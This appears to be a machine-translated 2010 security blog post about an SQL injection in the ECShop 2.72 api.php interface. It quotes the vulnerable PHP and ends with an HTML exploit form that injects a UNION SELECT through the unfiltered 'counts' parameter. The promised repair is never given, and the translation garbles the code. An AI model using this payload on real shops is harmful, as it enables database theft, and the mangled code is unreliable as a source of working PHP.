Ecshop2.72 chicken ribs injection and repair solution

By: xhm14252010.11.11

Recently, it seems that ecshop has a lot of problems. When I see a test image of T00LS, I also have a copy to see it and see a chicken rib injection. I did not pay attention to this vulnerability.

/Api. php
.........................
Switch ($ _ POST [act])
{
Case search_goods_list: search_goods_list (); break;
//............................
Default: api_err (0x008, no this type api); // output system-level error: Data Exception
}
.........................

Function search_goods_list ()
{
Check_auth (); // check basic permissions ~~~ Chicken ribs

$ Version = 1.0; // version

If ($ _ POST [api_version]! = $ Version) // low online shop interface version
{
Api_err (0x008, a low version api );
}

If (is_numeric ($ _ POST [last_modify_st_time]) & is_numeric ($ _ POST [last_modify_en_time])
{
$ SQL = Select COUNT (*) AS count.
FROM. $ GLOBALS [ecs]-> table (goods ).
"Where is_delete = 0 AND is_on_sale = 1 AND (last_update>". $ _ POST [last_modify_st_time]. "or last_update = 0 )";
$ Date_count = $ GLOBALS [db]-> getRow ($ SQL );

If (empty ($ date_count ))
{
Api_err (0x003, no data to back); // no matching data
}

$ Page = empty ($ _ POST [pages])? 1: $ _ POST [pages]; // not filtered
$ Counts = empty ($ _ POST [counts])? 100: $ _ POST [counts]; // No Filtering

$ SQL = Select goods_id, last_update AS last_modify.
FROM. $ GLOBALS [ecs]-> table (goods ).
"Where is_delete = 0 AND is_on_sale = 1 AND (last_update>". $ _ POST [last_modify_st_time]. "or last_update = 0 )".
"LIMIT". ($ page-1) * $ counts.,. $ counts; // $ counts is not included in single quotes.
$ Date_arr = $ GLOBALS [db]-> getAll ($ SQL );
..............................
}

Function check_auth ()
{
$ License = get_shop_license (); // obtain the online shop license information
If (empty ($ license [certificate_id]) | empty ($ license [token]) | empty ($ license [certi])
{
Api_err (0x006, no certificate); // no certificate data, output system-level error: insufficient User Permissions
}

If (! Check_shopex_ac ($ _ POST, $ license [token])
{
Api_err (0x009); // output system-level error: Invalid Signature
}

/* Verify the application session */
$ Certi [certificate_id] = $ license [certificate_id]; // online shop certificate ID
$ Certi [app_id] = ecshop_ B2C; // specifies the client source
$ Certi [app_instance_id] = webcollect; // application service ID
$ Certi [version] = VERSION. #. RELEASE; // online shop software version
$ Certi [format] = json; // officially returned data format
$ Certi [certi_app] = sess. valid_session; // certificate Method
$ Certi [certi_session] =$ _ POST [app_session]; // The session value applied by the Application Server
$ Certi [certi_ac] = make_shopex_ac ($ certi, $ license [token]); // online shop verification string

$ Request_arr = exchange_shop_license ($ certi, $ license );
If ($ request_arr [res]! = Succ)
{
Api_err (0x001, session is invalid); // output system-level error: authentication failed
}
}

Function get_shop_license ()
{
// Obtain the online shop license
$ SQL = "Select code, value
FROM ". $ GLOBALS [ecs]-> table (shop_config )."
Where code IN (certificate_id, token, certi)
LIMIT 0, 3 ";
$ License_info = $ GLOBALS [db]-> getAll ($ SQL );
$ License_info = is_array ($ license_info )? $ License_info: array ();
$ License = array ();
Foreach ($ license_info as $ value)
{
$ License [$ value [code] = $ value [value];
}

Return $ license;
}
The exception is that check_auth () performs a permission check.

Exp:
<Form name = "p_form" id = "p_form" method = "post" action = "http: // 127.1/ecshop2.72/api. php "enctype =" multipart/form-data ">
<Input name = act type = "text" value = "search_goods_list">
<Input name = api_version type = "text" value = "1.0">
<Input name = last_modify_st_time type = "text" value = "1">
<Input name = last_modify_en_time type = "text" value = "1">
<Input name = pages type = "text" value = "">
<Input name = ac type = "text" value = "ac">
<Input name = counts type = "text" value = "1 union select user (), 2">
<Input name = "sub" type = "submit" value = "submit"/>
</Form>